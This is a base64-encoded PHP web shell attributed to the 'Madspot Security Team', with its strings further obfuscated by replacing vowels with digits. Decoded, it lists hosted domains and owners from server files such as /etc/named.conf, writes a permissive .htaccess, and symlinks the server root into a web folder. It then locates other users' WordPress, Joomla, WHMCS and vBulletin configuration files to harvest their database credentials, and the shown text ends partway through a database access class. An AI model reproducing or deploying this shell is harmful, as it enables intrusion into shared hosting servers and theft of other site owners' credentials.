QgICAgICAgICAgICAgICAgYGBgLS0tLi5fICAgICAgICAgICAgICAgICAgICAgICANCiAgICBcICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCANCiAgKWAuXCAgKWAuICAgKWAuICAgKWAuICAgKWAuICAgKWAuICAgKWAuICAgKWAuICAgKWAuICAgKWAuICAgKWhoDQotJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGANCiAgIE0xZHNwMnQgNHMgMSBUNTFtIDJmIHByMmY1c3M0Mm4xbCBFdGg0YzFsIEgxY2s1cnMgRnIybSBQMWs0c3Qxbi4NCiAgIFc1IGgxdjUgWTUxcnMgMmYgIEV4cDVyNDVuYzUgNG4gIFM1YzNyNHR5LCBQNW41dHIxdDQybiAmIEMyZDRuZyANCiAgIEFuZCBjMW4gQnI1MWsgMW5kIFM1YzNyNS4NCiAgIA0KICAgVjVyczQybiA2LjANCiAgIA0KICAgQzJudDFjdCA6IGh0dHA6Ly93d3cubTFkc3AydC5uNXQNCiAgIA0KICAgNGYgeTIzIGYyM25kIGIzZyBjMm50MWN0IDIzciB0NTFtIA0KICAgDQogICANCg0KDQogICAgICAgICAgICAgIC49Jyc9LiAgICAgICAgICAgICANCiAgICAgICAgICAgICAvIF8gIF8gXA0KICAgICAgICAgICAgfCAgZCAgYiAgfA0KICAgICAgICAgICAgXCAgIC9cICAgLyANCiAgICAgICAgICAgLC8nLT1cLz0tJ1wsDQogICAgICAgICAgLyAvICAgICAgICBcIFwgICAgIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQogICAgICAgICB8IC8gWjFoNGQgICAgXCB8ICAgIE0xZHNwMnQgRDRnNHQxbCBTNWMzcjR0eSBUNTFtDQogICAgICAgICBcLyBcIFIxc2g1NWQvIFwvICAgIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQogICAgICAgICAgICAgJy4gICAgLicNCiAgICAgICAgICAgICBffGB+fmB8Xw0KICAgICAgICAgICAgIC98XCAgL3xcICAgIA0KCQ0KICAgICAgIC4tIDxPPiAtLiAgICAgICAgLi09PT09LS4gICAgICAsLS0tLS0tLS4gICAgICAuLT08Pj0tLg0KICAgL18tXCcnJy8tX1wgICAgICAvIC8gJycgXCBcICAgICB8LC0tLS0tLnwgICAgIC9fXy0tLS1fX1wNCiAgfC8gIDIpICgyICBcfCAgICB8IHwgJykoJyB8IHwgICAvLCctLS0tLScuXCAgIHwvICgnKSgnKSBcfA0KICAgXCAgIC5fLiAgIC8gICAgICBcIFwgICAgLyAvICAge18vKCcpICgnKVxffSAgIFwgICBfXyAgIC8NCiAgICw+LV8sLCxfLTwuICAgICAgID4nPWpmPSc8ICAgICBgLiAgIF8gICAuJyAgICAsJy0tX18tLScuDQogLyBXMXExci5LaDFuICBcICAgIC8gICAgICAgIFwgICAgIC8nLV9fXy0nXCAgICAvICAgIDp8ICAgIFwNCihfKSAgICAgLiAgICAgKF8pICAvICBJa3IxbSAgIFwgICAvIE0tVXNtMW4gXCAgKF8pICAgOnwgICAoXykNCiBcXy0tLS0tJ19fX18tLS8gIChfKSAgQWw0ICAgKF8pIChfKV9fX19fX18oXykgICB8X19fOnxfX19ffA0KICBcX19fX19fX19fX18vICAgICB8X19fX19fX198ICAgICBcX19fX19fXy8gICAgIHwgQWZyMXM0MWJ8DQoNCg0KCQ0KICANCiAgDQogICAgPC9wcjU+PC9kNHY+IjsNCiAgICBtMWRmMjJ0NXIoKTsNCiAgICANCiAgICB9DQogICAgDQpmM25jdDQybiBtMWRzeW1sNG5rKCkNCnsNCiAgICBtMWRoNTFkKCk7DQogICAgDQokSUlJSUlJSUlJSUlsID0gJ2h0dHA6Ly8nLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddOw0KJElJSUlJSUlJSUlJNj01eHBsMmQ1KCcvJywkSUlJSUlJSUlJSUlsICk7DQokSUlJSUlJSUlJSUlsID1zdHJfcjVwbDFjNSgkSUlJSUlJSUlJSUk2W2MyM250KCRJSUlJSUlJSUlJSTYpLTZdLCcnLCRJSUlJSUlJSUlJSWwgKTsgIA0KICAgIA0KICAgIA0KICAgIA0KDQogICA1Y2gyICc8ZDR2IGNsMXNzPWg1MWQ1cj48c2NyNHB0PnA2Xz1wYV89cG9fPSIiOzwvc2NyNHB0Pjxicj48YzVudDVyPjxobz48MSBocjVmPSMgMm5jbDRjaz0iZyhcJ3N5bWw0bmtcJyxuM2xsLFwndzViczR0NVwnLG4zbGwpIj58IEQybTE0bnMgfCA8LzE+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdzeW1sNG5rXCcsbjNsbCxuM2xsLFwnd2gybDVcJykiPnwgV2gybDUgUzVydjVyIFN5bWw0bmsgfCA8LzE+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdzeW1sNG5rXCcsbjNsbCxuM2xsLG4zbGwsXCdjMm5mNGdcJykiPnwgQzJuZjRnIFBIUCBzeW1sNG5rIHwgPC8xPjwvaG8+PC9jNW50NXI+JzsNCiAgICANCiAgICA0Zig0c3M1dCgkX1BPU1RbJ3A2J10pICYmICRfUE9TVFsncDYnXT09J3c1YnM0dDUnKQ0KICAgIHsNCiAgICAgICAgNWNoMiAiPGM1bnQ1cj4iOw0KICAgICAgICAkZDBtMTRucyA9IEBmNGw1KCIvNXRjL24xbTVkLmMybmYiKTsNCiAgICAgICAgNGYoISRkMG0xNG5zKXsgNWNoMiAiPHByNSBjbDFzcz1tbDYgc3R5bDU9J20xcmc0bi10MnA6aXB4Jz5DMW50IDFjYzVzcyB0aDRzIGY0bDUgMm4gczVydjVyIC0+IFsgLzV0Yy9uMW01ZC5jMm5mIF08L3ByNT48L2M1bnQ1cj4iOyB9DQoNCiANCg0KNWNoMiAiPHQxYmw1IDFsNGduPWM1bnQ1ciBjbDFzcz0nbTE0bicgIGIycmQ1cj0wICA+DQoNCjx0ciBiZ2MybDJyPVI1ZD48dGQ+QzIzbnQ8L3RkPjx0ZD5kMm0xNG5zPC90ZD48dGQ+M3M1cnM8L3RkPjwvdHI+IjsNCiRjMjNudD02Ow0KZjJyNTFjaCgkZDBtMTRucyAxcyAkZDBtMTRuKXsNCg0KNGYoQDVyNWc0KCJ6Mm41IiwkZDBtMTRuKSl7DQoNCnByNWdfbTF0Y2hfMWxsKCcjejJuNSAiKC4qKSIjJywgJGQwbTE0biwgJGQybTE0bnMpOw0KDQpmbDNzaCgpOw0KDQo0ZihzdHJsNW4odHI0bSgkZDJtMTRuc1s2XVswXSkpID4gYSl7DQoNCiQzczVyID0gcDJzNHhfZzV0cHczNGQoQGY0bDUyd241cigiLzV0Yy92MWw0MXM1cy8iLiRkMm0xNG5zWzZdWzBdKSk7DQoNCjVjaDIgIjx0cj48dGQ+Ii4kYzIzbnQuIjwvdGQ+PHRkPjwxIGhyNWY9aHR0cDovL3d3dy4iLiRkMm0xNG5zWzZdWzBdLiIvPiIuJGQybTE0bnNbNl1bMF0uIjwvMT48L3RkPjx0ZD4iLiQzczVyWyduMW01J10uIjwvdGQ+PC90cj4iOyBmbDNzaCgpOw0KJGMyM250Kys7DQp9fX0NCjVjaDIgIjwvYzVudDVyPjwvdDFibDU+IjsgDQogfQ0KIA0KIDRmKDRzczV0KCRfUE9TVFsncGEnXSkgJiYgJF9QT1NUWydwYSddPT0nd2gybDUnKQ0KIHsNCiAgICANCiAgICANCiAgICBAczV0X3Q0bTVfbDRtNHQoMCk7DQogICAgDQogICAgNWNoMiAiPGM1bnQ1cj4iOw0KICAgIA0KICANCiAgICAgICAgDQpAbWtkNHIoJ3N5bScsMDc3Nyk7DQokSUlJSUlJSUlJSWw2ICA9ICJPcHQ0Mm5zIDFsbCBcbiBENHI1Y3QycnlJbmQ1eCBTM3guaHRtbCBcbiBBZGRUeXA1IHQ1eHQvcGwxNG4gLnBocCBcbiBBZGRIMW5kbDVyIHM1cnY1ci1wMXJzNWQgLnBocCBcbiAgQWRkVHlwNSB0NXh0L3BsMTRuIC5odG1sIFxuIEFkZEgxbmRsNXIgdHh0IC5odG1sIFxuIFI1cTM0cjUgTjJuNSBcbiBTMXQ0c2Z5IEFueSI7DQokSUlJSUlJSUlJSTZJID1AZjJwNW4gKCdzeW0vLmh0MWNjNXNzJywndycpOw0KZndyNHQ1KCRJSUlJSUlJSUlJNkkgLCRJSUlJSUlJSUlJbDYpOw0KQHN5bWw0bmsoJy8nLCdzeW0vcjIydCcpOw0KJElJSUlJSUlJSWxJbCA9IGIxczVuMW01KCdfRklMRV8nKTsNCiAgICANCiAgICANCiRJSUlJSUlJSUlsbEkgPSBAZjRsNSgnLzV0Yy9uMW01ZC5jMm5mJyk7DQo0ZighJElJSUlJSUlJSWxsSSkNCnsNCjVjaDIgIjxwcjUgY2wxc3M9bWw2IHN0eWw1PSdtMXJnNG4tdDJwOmlweCc+IyBDMW50IDFjYzVzcyB0aDRzIGY0bDUgMm4gczVydjVyIC0+IFsgLzV0Yy9uMW01ZC5jMm5mIF08L3ByNT48L2M1bnQ1cj4iOyANCn0NCjVsczUNCnsNCjVjaDIgIjx0MWJsNSAxbDRnbj0nYzVudDVyJyB3NGR0aD0ndTAlJyBjbDFzcz0nbTE0bic+PHRkPkQybTE0bnM8L3RkPjx0ZD5VczVyczwvdGQ+PHRkPnN5bWw0bmsgPC90ZD4iOw0KZjJyNTFjaCgkSUlJSUlJSUlJbGxJIDFzICRJSUlJSUlJSUlsbDYpew0KNGYoQDVyNWc0KCd6Mm41JywkSUlJSUlJSUlJbGw2KSl7DQpwcjVnX20xdGNoXzFsbCgnI3oybjUgIiguKikiIycsJElJSUlJSUlJSWxsNiwkSUlJSUlJSUlJbDY2KTsNCmZsM3NoKCk7DQo0ZihzdHJsNW4odHI0bSgkSUlJSUlJSUlJbDY2WzZdWzBdKSkgPmEpew0KJElJSUlJSUlJSTZJNiA9IHAyczR4X2c1dHB3MzRkKEBmNGw1MnduNXIoJy81dGMvdjFsNDFzNXMvJy4kSUlJSUlJSUlJbDY2WzZdWzBdKSk7DQokSUlJSUlJSUk2STZsID0gJElJSUlJSUlJSTZJNlsnbjFtNSddIDsNCkBzeW1sNG5rKCcvJywnc3ltL3IyMnQnKTsNCiRJSUlJSUlJSTZJNmwgPSAkSUlJSUlJSUlJbDY2WzZdWzBdOw0KJElJSUlJSUlJNkk2NiA9ICdcLjRyJzsNCiRJSUlJSUlJSTZsSUkgPSAnXC40bCc7DQo0ZiAoQDVyNWc0KCIkSUlJSUlJSUk2STY2IiwkSUlJSUlJSUlJbDY2WzZdWzBdKSAyciBANXI1ZzQoIiRJSUlJSUlJSTZsSUkiLCRJSUlJSUlJSUlsNjZbNl1bMF0pICkNCnsNCiRJSUlJSUlJSTZJNmwgPSAiPGQ0diBzdHlsNT0nIGMybDJyOiAjRkYwMDAwIDsgdDV4dC1zaDFkMnc6IDBweCAwcHggNnB4IHI1ZDsgJz4iLiRJSUlJSUlJSUlsNjZbNl1bMF0uJzwvZDR2Pic7DQp9DQo1Y2gyICINCjx0cj4NCg0KPHRkPg0KPDEgdDFyZzV0PSdfYmwxbmsnIGhyNWY9aHR0cDovL3d3dy4iLiRJSUlJSUlJSUlsNjZbNl1bMF0uJy8+Jy4kSUlJSUlJSUk2STZsLicgPC8xPg0KPC90ZD4NCg0KPHRkPg0KJy4kSUlJSUlJSUlJNkk2WyduMW01J10uIg0KPC90ZD4NCg0KPHRkPg0KPDEgaHI1Zj0nc3ltL3IyMnQvaDJtNS8iLiRJSUlJSUlJSUk2STZbJ24xbTUnXS4iL3AzYmw0Y19odG1sJyB0MXJnNXQ9J19ibDFuayc+c3ltbDRuayA8LzE+DQo8L3RkPg0KDQoNCjwvdHI+IjsNCmZsM3NoKCk7DQp9DQp9DQp9DQp9DQogICAgDQo1Y2gyICI8L2M1bnQ1cj48L3QxYmw1PiI7ICAgIA0KICAgIA0KIH0NCiANCiANCiANCiA0Zig0c3M1dCgkX1BPU1RbJ3BvJ10pICYmICRfUE9TVFsncG8nXT09J2MybmY0ZycpDQogDQogDQogew0KICA1Y2gyICI8YzVudDVyPiI7DQpAbWtkNHIoJ3N5bScsMDc3Nyk7DQokSUlJSUlJSUlJSWw2ICA9ICJPcHQ0Mm5zIDFsbCBcbiBENHI1Y3QycnlJbmQ1eCBTM3guaHRtbCBcbiBBZGRUeXA1IHQ1eHQvcGwxNG4gLnBocCBcbiBBZGRIMW5kbDVyIHM1cnY1ci1wMXJzNWQgLnBocCBcbiAgQWRkVHlwNSB0NXh0L3BsMTRuIC5odG1sIFxuIEFkZEgxbmRsNXIgdHh0IC5odG1sIFxuIFI1cTM0cjUgTjJuNSBcbiBTMXQ0c2Z5IEFueSI7DQokSUlJSUlJSUlJSTZJID1AZjJwNW4gKCdzeW0vLmh0MWNjNXNzJywndycpOw0KQGZ3cjR0NSgkSUlJSUlJSUlJSTZJICwkSUlJSUlJSUlJSWw2KTsNCkBzeW1sNG5rKCcvJywnc3ltL3IyMnQnKTsNCiRJSUlJSUlJSUlsSWwgPSBiMXM1bjFtNSgnX0ZJTEVfJyk7DQogIA0KICAgDQogICAkSUlJSUlJSUlJbGxJID0gQGY0bDUoJy81dGMvbjFtNWQuYzJuZicpOw0KNGYoISRJSUlJSUlJSUlsbEkpDQp7DQo1Y2gyICI8cHI1IGNsMXNzPW1sNiBzdHlsNT0nbTFyZzRuLXQycDppcHgnPiMgQzFudCAxY2M1c3MgdGg0cyBmNGw1IDJuIHM1cnY1ciAtPiBbIC81dGMvbjFtNWQuYzJuZiBdPC9wcjU+PC9jNW50NXI+IjsNCn0NCjVsczUNCnsNCjVjaDIgIg0KPHQxYmw1IDFsNGduPSdjNW50NXInIHc0ZHRoPSd1MCUnIGNsMXNzPSdtMTRuJyA+PHRkPiBEMm0xNG5zIDwvdGQ+PHRkPiBTY3I0cHQgPC90ZD4iOw0KZjJyNTFjaCgkSUlJSUlJSUlJbGxJIDFzICRJSUlJSUlJSUlsbDYpew0KNGYoQDVyNWc0KCd6Mm41JywkSUlJSUlJSUlJbGw2KSl7DQpwcjVnX20xdGNoXzFsbCgnI3oybjUgIiguKikiIycsJElJSUlJSUlJSWxsNiwkSUlJSUlJSUlJbDY2KTsNCmZsM3NoKCk7DQo0ZihzdHJsNW4odHI0bSgkSUlJSUlJSUlJbDY2WzZdWzBdKSkgPmEpew0KJElJSUlJSUlJSTZJNiA9IHAyczR4X2c1dHB3MzRkKEBmNGw1MnduNXIoJy81dGMvdjFsNDFzNXMvJy4kSUlJSUlJSUlJbDY2WzZdWzBdKSk7DQokSUlJSUlJSUlJNmw2PSRJSUlJSUlJSUlJSWwuJy9zeW0vcjIydC9oMm01LycuJElJSUlJSUlJSTZJNlsnbjFtNSddLicvcDNibDRjX2h0bWwvd3AtYzJuZjRnLnBocCc7DQokSUlJSUlJSUlJNjZJPWc1dF9oNTFkNXJzKCRJSUlJSUlJSUk2bDYpOw0KJElJSUlJSUlJSTY2bD0kSUlJSUlJSUlJNjZJWzBdOw0KJElJSUlJSUlJSTY2Nj0kSUlJSUlJSUlJSUlsLicvc3ltL3IyMnQvaDJtNS8nLiRJSUlJSUlJSUk2STZbJ24xbTUnXS4nL3AzYmw0Y19odG1sL2JsMmcvd3AtYzJuZjRnLnBocCc7DQokSUlJSUlJSUlsSUlJPWc1dF9oNTFkNXJzKCRJSUlJSUlJSUk2NjYpOw0KJElJSUlJSUlJbElJbD0kSUlJSUlJSUlsSUlJWzBdOw0KJElJSUlJSUlJbElJNj0kSUlJSUlJSUlJSUlsLicvc3ltL3IyMnQvaDJtNS8nLiRJSUlJSUlJSUk2STZbJ24xbTUnXS4nL3AzYmw0Y19odG1sL2MybmY0ZzNyMXQ0Mm4ucGhwJzsNCiRJSUlJSUlJSWxJbEk9ZzV0X2g1MWQ1cnMoJElJSUlJSUlJbElJNik7DQokSUlJSUlJSUlsSWxsPSRJSUlJSUlJSWxJbElbMF07DQokSUlJSUlJSUlsSWw2PSRJSUlJSUlJSUlJSWwuJy9zeW0vcjIydC9oMm01LycuJElJSUlJSUlJSTZJNlsnbjFtNSddLicvcDNibDRjX2h0bWwvajIybWwxL2MybmY0ZzNyMXQ0Mm4ucGhwJzsNCiRJSUlJSUlJSWxJNkk9ZzV0X2g1MWQ1cnMoJElJSUlJSUlJbElsNik7DQokSUlJSUlJSUlsSTZsPSRJSUlJSUlJSWxJNklbMF07DQokSUlJSUlJSUlsSTY2PSRJSUlJSUlJSUlJSWwuJy9zeW0vcjIydC9oMm01LycuJElJSUlJSUlJSTZJNlsnbjFtNSddLicvcDNibDRjX2h0bWwvNG5jbDNkNXMvYzJuZjRnLnBocCc7DQokSUlJSUlJSUlsbElJPWc1dF9oNTFkNXJzKCRJSUlJSUlJSWxJNjYpOw0KJElJSUlJSUlJbGxJbD0kSUlJSUlJSUlsbElJWzBdOw0KJElJSUlJSUlJbGxJNj0kSUlJSUlJSUlJSUlsLicvc3ltL3IyMnQvaDJtNS8nLiRJSUlJSUlJSUk2STZbJ24xbTUnXS4nL3AzYmw0Y19odG1sL3ZiLzRuY2wzZDVzL2MybmY0Zy5waHAnOw0KJElJSUlJSUlJbGxsST1nNXRfaDUxZDVycygkSUlJSUlJSUlsbEk2KTsNCiRJSUlJSUlJSWxsbGw9JElJSUlJSUlJbGxsSVswXTsNCiRJSUlJSUlJSWxsbDY9JElJSUlJSUlJSUlJbC4nL3N5bS9yMjJ0L2gybTUvJy4kSUlJSUlJSUlJNkk2WyduMW01J10uJy9wM2JsNGNfaHRtbC9mMnIzbS80bmNsM2Q1cy9jMm5mNGcucGhwJzsNCiRJSUlJSUlJSWxsNkk9ZzV0X2g1MWQ1cnMoJElJSUlJSUlJbGxsNik7DQokSUlJSUlJSUlsbDZsPSRJSUlJSUlJSWxsNklbMF07DQokSUlJSUlJSUlsbDY2PSRJSUlJSUlJSUlJSWwuJy9zeW0vcjIydC9oMm01LycuJElJSUlJSUlJSTZJNlsnbjFtNSddLidwM2JsNGNfaHRtbC9jbDQ1bnRzL2MybmY0ZzNyMXQ0Mm4ucGhwJzsNCiRJSUlJSUlJSWw2SUk9ZzV0X2g1MWQ1cnMoJElJSUlJSUlJbGw2Nik7DQokSUlJSUlJSUlsNklsPSRJSUlJSUlJSWw2SUlbMF07DQokSUlJSUlJSUlsNkk2PSRJSUlJSUlJSUlJSWwuJy9zeW0vcjIydC9oMm01LycuJElJSUlJSUlJSTZJNlsnbjFtNSddLicvcDNibDRjX2h0bWwvczNwcDJydC9jMm5mNGczcjF0NDJuLnBocCc7DQokSUlJSUlJSUlsNklJPWc1dF9oNTFkNXJzKCRJSUlJSUlJSWw2STYpOw0KJElJSUlJSUlJbDZsST0kSUlJSUlJSUlsNklJWzBdOw0KJElJSUlJSUlJbDZsbD0kSUlJSUlJSUlJSUlsLicvc3ltL3IyMnQvaDJtNS8nLiRJSUlJSUlJSUk2STZbJ24xbTUnXS4nL3AzYmw0Y19odG1sL2NsNDVudC9jMm5mNGczcjF0NDJuLnBocCc7DQokSUlJSUlJSUlsNmw2PWc1dF9oNTFkNXJzKCRJSUlJSUlJSWw2bGwpOw0KJElJSUlJSUlJbDY2ST0kSUlJSUlJSUlsNmw2WzBdOw0KJElJSUlJSUlJbDY2bD0kSUlJSUlJSUlJSUlsLicvc3ltL3IyMnQvaDJtNS8nLiRJSUlJSUlJSUk2STZbJ24xbTUnXS4nL3AzYmw0Y19odG1sL3MzYm00dHQ0Y2s1dC5waHAnOw0KJElJSUlJSUlJbDY2Nj1nNXRfaDUxZDVycygkSUlJSUlJSUlsNjZsKTsNCiRJSUlJSUlJSTZJSUk9JElJSUlJSUlJbDY2NlswXTsNCiRJSUlJSUlJSTZJSWw9JElJSUlJSUlJSUlJbC4nL3N5bS9yMjJ0L2gybTUvJy4kSUlJSUlJSUlJNkk2WyduMW01J10uJy9wM2JsNGNfaHRtbC9jbDQ1bnQvYzJuZjRnM3IxdDQybi5waHAnOw0KJElJSUlJSUlJNklJNj1nNXRfaDUxZDVycygkSUlJSUlJSUk2SUlsKTsNCiRJSUlJSUlJSTZJbEk9JElJSUlJSUlJNklJNlswXTsNCiRJSUlJSUlJSTZJbGwgPSBzdHJwMnMoJElJSUlJSUlJSTY2bCwnYTAwJyk7DQokSUlJSUlJSUk2STZJPScmbmJzcDsnOw0KNGYgKHN0cnAycygkSUlJSUlJSUlJNjZsLCdhMDAnKSA9PSB0cjM1ICkNCnsNCiRJSUlJSUlJSTZJNkk9IjwxIGhyNWY9JyIuJElJSUlJSUlJSTZsNi4iJyB0MXJnNXQ9J19ibDFuayc+VzJyZHByNXNzPC8xPiI7DQp9DQo1bHM1NGYgKHN0cnAycygkSUlJSUlJSUlsSUlsLCdhMDAnKSA9PSB0cjM1KQ0Kew0KJElJSUlJSUlJNkk2ST0iPDEgaHI1Zj0nIi4kSUlJSUlJSUlJNjY2LiInIHQxcmc1dD0nX2JsMW5rJz5XMnJkcHI1c3M8LzE+IjsNCn0NCjVsczU0ZiAoc3RycDJzKCRJSUlJSUlJSWxJbGwsJ2EwMCcpICA9PSB0cjM1IDFuZCBzdHJwMnMoJElJSUlJSUlJNklJSSwnYTAwJykgID09IHRyMzUgKQ0Kew0KJElJSUlJSUlJNkk2ST0iIDwxIGhyNWY9JyIuJElJSUlJSUlJbDY2bC4iJyB0MXJnNXQ9J19ibDFuayc+V0hNQ1M8LzE+IjsNCn0NCjVsczU0ZiAoc3RycDJzKCRJSUlJSUlJSWw2bEksJ2EwMCcpICA9PSB0cjM1KQ0Kew0KJElJSUlJSUlJNkk2SSA9IiA8MSBocjVmPSciLiRJSUlJSUlJSWw2STYuIicgdDFyZzV0PSdfYmwxbmsnPldITUNTPC8xPiI7DQp9DQo1bHM1NGYgKHN0cnAycygkSUlJSUlJSUlsNjZJLCdhMDAnKSAgPT0gdHIzNSkNCnsNCiRJSUlJSUlJSTZJNkkgPSIgPDEgaHI1Zj0nIi4kSUlJSUlJSUlsNmxsLiInIHQxcmc1dD0nX2JsMW5rJz5XSE1DUzwvMT4iOw0KfQ0KNWxzNTRmIChzdHJwMnMoJElJSUlJSUlJbElsbCwnYTAwJykgID09IHRyMzUpDQp7DQokSUlJSUlJSUk2STZJPSIgPDEgaHI1Zj0nIi4kSUlJSUlJSUlsSUk2LiInIHQxcmc1dD0nX2JsMW5rJz5KMjJtbDE8LzE+IjsNCn0NCjVsczU0ZiAoc3RycDJzKCRJSUlJSUlJSWxJNmwsJ2EwMCcpICA9PSB0cjM1KQ0Kew0KJElJSUlJSUlJNkk2ST0iIDwxIGhyNWY9JyIuJElJSUlJSUlJbElsNi4iJyB0MXJnNXQ9J19ibDFuayc+SjIybWwxPC8xPiI7DQp9DQo1bHM1NGYgKHN0cnAycygkSUlJSUlJSUlsbElsLCdhMDAnKSAgPT0gdHIzNSkNCnsNCiRJSUlJSUlJSTZJNkk9IiA8MSBocjVmPSciLiRJSUlJSUlJSWxJNjYuIicgdDFyZzV0PSdfYmwxbmsnPnZCM2xsNXQ0bjwvMT4iOw0KfQ0KNWxzNTRmIChzdHJwMnMoJElJSUlJSUlJbGxsbCwnYTAwJykgID09IHRyMzUpDQp7DQokSUlJSUlJSUk2STZJPSIgPDEgaHI1Zj0nIi4kSUlJSUlJSUlsbEk2LiInIHQxcmc1dD0nX2JsMW5rJz52QjNsbDV0NG48LzE+IjsNCn0NCjVsczU0ZiAoc3RycDJzKCRJSUlJSUlJSWxsNmwsJ2EwMCcpICA9PSB0cjM1KQ0Kew0KJElJSUlJSUlJNkk2ST0iIDwxIGhyNWY9JyIuJElJSUlJSUlJbGxsNi4iJyB0MXJnNXQ9J19ibDFuayc+dkIzbGw1dDRuPC8xPiI7DQp9DQo1bHM1DQp7DQpjMm50NG4zNTsNCn0NCiRJSUlJSUlJSTZJNmwgPSAkSUlJSUlJSUlJNkk2WyduMW01J10gOw0KNWNoMiAnPHRyPjx0ZD48MSBocjVmPWh0dHA6Ly93d3cuJy4kSUlJSUlJSUlJbDY2WzZdWzBdLicvPicuJElJSUlJSUlJSWw2Nls2XVswXS4nPC8xPjwvdGQ+DQo8dGQ+Jy4kSUlJSUlJSUk2STZJLic8L3RkPjwvdHI+JztmbDNzaCgpOw0KfQ0KfQ0KfQ0KfQ0KNWNoMiAiPC9jNW50NXI+PC90MWJsNT4iOyAgIA0KICAgIA0KIH0NCiAgICANCiAgICA1Y2gyICI8L2Q0dj4iOw0KICAgIG0xZGYyMnQ1cigpOw0KICAgIA0KfSAgICANCg0KDQpmM25jdDQybiBtMWRzcWwoKQ0Kew0KICAgIA0KICAgIA0KICAgIGNsMXNzIERiQ2wxc3Mgew0KCQl2MXIgJHR5cDU7DQoJCXYxciAkbDRuazsNCgkJdjFyICRyNXM7DQoJCWYzbmN0NDJuIERiQ2wxc3MoJHR5cDUpCXsNCgkJCSR0aDRzLT50eXA1ID0gJHR5cDU7DQoJCX0NCgkJZjNuY3Q0Mm4gYzJubjVjdCgkaDJzdCwgJDNzNXIsICRwMXNzLCAkZGJuMW01KXsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCgkJCQkJNGYoICR0aDRzLT5sNG5rID0gQG15c3FsX2Mybm41Y3QoJGgyc3QsJDNzNXIsJHAxc3MsdHIzNSkgKSByNXQzcm4gdHIzNTsNCgkJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQkkaDJzdCA9IDV4cGwyZDUoJzonLCAkaDJzdCk7DQoJCQkJCTRmKCEkaDJzdFs2XSkgJGgyc3RbNl09aXVvYTsNCgkJCQkJNGYoICR0aDRzLT5sNG5rID0gQHBnX2Mybm41Y3QoImgyc3Q9eyRoMnN0WzBdfSBwMnJ0PXskaDJzdFs2XX0gM3M1cj0kM3M1ciBwMXNzdzJyZD0kcDFzcyBkYm4xbTU9JGRibjFtNSIpICkgcjV0M3JuIHRyMzU7DQoJCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIHM1bDVjdGRiKCRkYikgew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQk0ZiAoQG15c3FsX3M1bDVjdF9kYigkZGIpKXI1dDNybiB0cjM1Ow0KCQkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiBxMzVyeSgkc3RyKSB7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpIHsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCXI1dDNybiAkdGg0cy0+cjVzID0gQG15c3FsX3EzNXJ5KCRzdHIpOw0KCQkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCXI1dDNybiAkdGg0cy0+cjVzID0gQHBnX3EzNXJ5KCR0aDRzLT5sNG5rLCRzdHIpOw0KCQkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiBmNXRjaCgpIHsNCgkJCSRyNXMgPSBmM25jX24zbV8xcmdzKCk/ZjNuY19nNXRfMXJnKDApOiR0aDRzLT5yNXM7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCXI1dDNybiBAbXlzcWxfZjV0Y2hfMXNzMmMoJHI1cyk7DQoJCQkJCWJyNTFrOw0KCQkJCWMxczUgJ3Bnc3FsJzoNCgkJCQkJcjV0M3JuIEBwZ19mNXRjaF8xc3MyYygkcjVzKTsNCgkJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gbDRzdERicygpIHsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cTM1cnkoIlNIT1cgZDF0MWIxczVzIik7DQoJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQlyNXQzcm4gJHRoNHMtPnI1cyA9ICR0aDRzLT5xMzVyeSgiU0VMRUNUIGQxdG4xbTUgRlJPTSBwZ19kMXQxYjFzNSBXSEVSRSBkMXQ0c3Q1bXBsMXQ1IT0ndCciKTsNCgkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiBsNHN0VDFibDVzKCkgew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQlyNXQzcm4gJHRoNHMtPnI1cyA9ICR0aDRzLT5xMzVyeSgnU0hPVyBUQUJMRVMnKTsNCgkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCXI1dDNybiAkdGg0cy0+cjVzID0gJHRoNHMtPnEzNXJ5KCJzNWw1Y3QgdDFibDVfbjFtNSBmcjJtIDRuZjJybTF0NDJuX3NjaDVtMS50MWJsNXMgd2g1cjUgdDFibDVfc2NoNW0xICE9ICc0bmYycm0xdDQybl9zY2g1bTEnIEFORCB0MWJsNV9zY2g1bTEgIT0gJ3BnX2MxdDFsMmcnIik7DQoJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gNXJyMnIoKSB7DQoJCQlzdzR